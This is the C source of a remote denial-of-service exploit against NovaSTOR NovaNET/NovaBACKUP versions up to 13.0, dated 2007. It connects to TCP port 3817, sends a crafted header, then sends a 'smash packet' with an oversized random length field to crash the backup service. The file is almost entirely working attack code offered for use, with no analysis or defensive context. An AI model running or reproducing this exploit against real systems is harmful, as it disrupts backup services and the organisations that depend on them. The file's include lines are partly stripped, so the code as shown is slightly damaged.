/* novanet-dos.c * * Copyright (c) 2007 by * * NovaSTOR NovaNET/NovaBACKUP <= 13.0 remote DoS * by mu-b - Tue Oct 2 2007 * * - Tested on: NovaSTOR NovaNET 11.0(SP*) * NovaSTOR NovaNET 12.0(SP*) * NovaSTOR NovaNET 13.0 * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2007!@$! */ #include #include #include #include #include #include #include #include #define NOVANET_HDR_SZ 0x14 #define NOVANET_PKT_SZ 0x92 #define NOVANET_MAX_LEN 0x112014 #define NOVANET_TCP_PORT 3817 #define USLEEP_TIME 100000 static char hdr_pkt[] = "\x54\x84\x00\x00" /* 04 */ "\x00\x00\x00\x00" /* 08 */ "\x04\x00\x00\x00" /* 0C */ "\x92\x00\x00\x00" /* 10 */ "\x00\x00\x00\x00" /* 14 */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* 08 */ /* 1C */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* 10 */ /* 24 */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* 18 */ /* 2C */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* 20 */ /* 34 */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* 28 */ /* 3C */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* 30 */ /* 44 */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* 38 */ /* 4C */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* 40 */ /* 54 */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* 48 */ /* 5C */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* 50 */ /* 64 */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* 58 */ /* 6C */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* 60 */ /* 74 */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* 68 */ /* 7C */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* 70 */ /* 84 */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* 78 */ /* 8C */ "\x00\x00\x00\x00\x00\x00"; /* 7E */ /* 92 */ static char rem_pkt[] = "\x51\x84\x00\x00" /* 04 */ "\x00\x00\x00\x30" /* 08 */ "\x05\x00\x00\x00" /* 0C */ "\x00\x00\x00\x00" /* 10 */ "\x00\x00\x00\x00"; /* 14 */ static int sock_send (int fd, char *src, int len) { int n; if ((n = send (fd, src, len, 0)) < 0) { fprintf (stderr, "sock_send: send() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } return (n); } static int sock_recv (int fd, char *dst, int len) { int n; if ((n = recv (fd, dst, len, 0)) < 0) { fprintf (stderr, "sock_recv: recv() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } return (n); } static int sockami (char *host, int port) { struct sockaddr_in address; struct hostent *hp; int fd; if ((fd = socket (AF_INET, SOCK_STREAM, 0)) == -1) { fprintf (stderr, "sockami: socket() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } if ((hp = gethostbyname (host)) == NULL) { fprintf (stderr, "sockami: gethostbyname() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } memset (&address, 0, sizeof (address)); memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length); address.sin_family = AF_INET; address.sin_port = htons (port); if (connect (fd, (struct sockaddr *) &address, sizeof (address)) < 0) { fprintf (stderr, "sockami: connect() - %s\n", strerror (errno)); return (-1); } return (fd); } int main (int argc, char **argv) { char rbuf_pkt[NOVANET_PKT_SZ]; unsigned int rlen; int fd, n; printf ("NovaSTOR NovaNET remote DoS\n" "by: \n" "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n"); if (argc < 2) { fprintf (stderr, "Usage: %s \n", argv[0]); exit (EXIT_SUCCESS); } fd = sockami (argv[1], NOVANET_TCP_PORT); if (fd == -1) { fprintf (stderr, "main: sockami failed\n"); exit (EXIT_FAILURE); } printf ("* connected to %s:%d\n", argv[1], NOVANET_TCP_PORT); printf ("** sending header packet..."); if ((n = sock_send (fd, hdr_pkt, sizeof hdr_pkt - 1)) != NOVANET_PKT_SZ) { fprintf (stderr, "main: sock_send returned %d (!= %d)\n", n, NOVANET_PKT_SZ); exit (EXIT_FAILURE); } printf ("done\n"); printf ("** reading first reply..."); if ((n = sock_recv (fd, rbuf_pkt, sizeof rbuf_pkt)) != NOVANET_PKT_SZ) { fprintf (stderr, "main: sock_recv returned %d (!= %d)\n", n, NOVANET_PKT_SZ); exit (EXIT_FAILURE); } printf ("done\n"); srand (time (NULL)); rlen = NOVANET_MAX_LEN + (rand () % (UINT_MAX - NOVANET_MAX_LEN)) + 1; *(unsigned int *) &rem_pkt[12] = rlen; printf ("** sending smash packet [remaining length %u-bytes]...", rlen); if ((n = sock_send (fd, rem_pkt, sizeof rem_pkt - 1)) != NOVANET_HDR_SZ) { fprintf (stderr, "main: sock_send returned %d (!= %d)\n", n, NOVANET_HDR_SZ); exit (EXIT_FAILURE); } printf ("done\n"); usleep (USLEEP_TIME); close (fd); return (EXIT_SUCCESS); }

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